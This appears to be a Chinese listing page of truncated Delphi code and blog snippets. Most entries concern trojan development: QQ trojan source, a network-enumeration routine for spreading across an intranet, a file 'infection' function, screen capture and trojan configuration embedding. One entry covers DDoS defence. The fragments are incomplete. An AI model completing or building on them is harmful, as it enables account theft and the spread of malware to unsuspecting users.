代码文件: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class (TForm) Button1: TButton; ListBox1: TListBox; OpenDialog1: TOpenDialog; procedure For...
procedure GetScreen(var Bmp: TBitmap); var Dc: HDC; MyCanvas: TCanvas; MyRect: TRect; begin Dc := GetWindowDC(0); MyCanvas := TCanvas.Create; try MyCanvas.Handle := Dc; MyRect:=Rect(0,0,Screen.Width, Screen.Height); //图像为 24位真彩色...
procedureEnumeration(aResource:PNetResource);//内网传播Enumeration(@wgokq[_fehlq]) var qnlshmm:THandle; kujf_n,mec:DWORD; wgokq:array[0..1023]ofTNetResource; _fehlq:Integer; begin WNetOpenEnum(2,0,0,aResource,qnlshmm); kujf_n:=1024; mec...
上次写了一个直接将配置文件添加到对应的位置上的方法.好处就在于木马端不用写专门的代码再来提取配置文件,这样很自然的就节省了木马的体积.坏处就在于那种方法只能给未加壳的...
之前一直在找关于木马生成服务端原理的文章。我在以前的日记里面也提到过的，网上相关的文章也找了不少，但是都没有把问题好好说清楚。虽然也给出了代码，但是废话还是不少，...
delphi服务器端如何防止DDOS 前面说到DSServer的OnConnect是socket已经完全搭好client都调用connect的服务器方法了才触发的，如果我们到这里才来想起拒绝不合法的ip连接，已经挺晚了：socket已经...
在网络管理中,有时需要通过监视远程计算机屏幕来了解网上微机的使用情况。虽然,市面上有很多软件可以实现该功能,有些甚至可以进行远程控制,但在使用上缺乏灵活性,如无法指定远...
感染函数 procedure TForm1.EnCrypt(pPath:string); var lCount,i:Integer; lNewName,lFileName:string; lStringList:TStringList; begin lStringList:=GetDirTreeList(pPath); lCount:=lStringList.Count-1; for i:=lCount downto 0 do begin lFileName:...
QQ木马delphi源码 unit GCommonMethods; {$I Complier.inc} interface uses Windows, SysUtils, GConsts, GNetMethods, GQQFindMethods; procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND); procedure Applicat...
DELPHI版本QQ木马 首先写个DLL文件 library Project1; { Important note about DLL memory management: ShareMem must be the first unit in your library's USES clause AND your project's (select Project-View Source) USES clause if your DLL...